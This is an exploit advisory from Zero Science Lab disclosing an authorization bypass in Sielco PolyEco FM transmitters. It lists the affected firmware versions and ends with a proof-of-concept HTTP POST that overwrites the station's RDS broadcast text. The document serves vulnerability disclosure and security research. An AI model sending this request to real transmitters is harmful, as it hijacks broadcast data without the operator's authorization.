Sielco PolyEco Digital FM Transmitter 2.0.6 – Radio Data System POST Manipulation
## Exploit Title: Sielco PolyEco Digital FM Transmitter 2.0.6 - Radio Data System POST Manipulation ## Exploit Author: LiquidWorm Vendor: Sielco S.r.l Product web page: https://www.sielco.org Affected version: PolyEco1000 CPU:2.0.6 FPGA:10.19 PolyEco1000 CPU:1.9.4 FPGA:10.19 PolyEco1000 CPU:1.9.3 FPGA:10.19 PolyEco500 CPU:1.7.0 FPGA:10.16 PolyEco300 CPU:2.0.2 FPGA:10.19 PolyEco300 CPU:2.0.0 FPGA:10.19 Summary: PolyEco is the innovative family of high-end digital FM transmitters of Sielco. They are especially suited as high performance power system exciters or compact low-mid power transmitters. The same cabinet may in fact be fitted with 50, 100, 300, 500, 1000W power stage (PolyEco50, 100, 300, 500, 1000). All features can be controlled via the large touch-screen display 4.3" or remotely. Many advanced features are inside by default in the basic version such as: stereo and RDS encoder, audio change-over, remote-control via LAN and SNMP, "FFT" spectral analysis of the audio sources, SFN synchronization and much more. Desc: Improper access control occurs when the application provides direct access to objects based on user-supplied input. As a result of this vulnerability attackers can bypass authorization and access resources behind protected pages. The application interface allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions and manipulate the RDS text display. Tested on: lwIP/2.1.1 (http://savannah.nongnu.org/projects/lwip) Vulnerability discovered by Gjoko 'LiquidWorm' Krstic Macedonian Information Security Research and Development Laboratory Zero Science Lab - https://www.zeroscience.mk - @zeroscience Advisory ID: ZSL-2023-5767 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5767.php 26.01.2023 -- POST /protect/rds.htm HTTP/1.1 Host: RADIOFM rds_inta=1 rds_intb=0 rds_pi=381 rds_ps=ZSL rds_rta=www.zeroscience.mk rds_rtb rds_rtt=0 rds_tp=0 rds_tp=1 rds_ta=0 rds_ms=0 rds_pty=4 rds_ptyn= rds_ecc=00 rds_ct=0 rds_level=90 rds_psd=0 rds_psd1 rds_pst1=0 rds_psd5 rds_pst5=0 rds_psd2 rds_pst2=0 rds_psd6 rds_pst6=0 rds_psd3 rds_pst3=0 rds_psd7 rds_pst7=0 rds_psd4 rds_pst4=0 rds_psd8 rds_pst8=0 rds_di_pty=0 rds_di_cmp=0 rds_di_cmp=1 rds_di_st=0 rds_di_art=0 rds_di_art=1 a0=90 a1=9 a2=26 a3=115 a4=0 a5=0 a6=0 a7=0 a8=0 a9=0 a10=0 a11=0 a12=0 a13=0 a14=0 a15=0 a16=0 a17=0 a18=0 a19=0 a20=0 a21=0 a22=0 a23=0 a24=0 |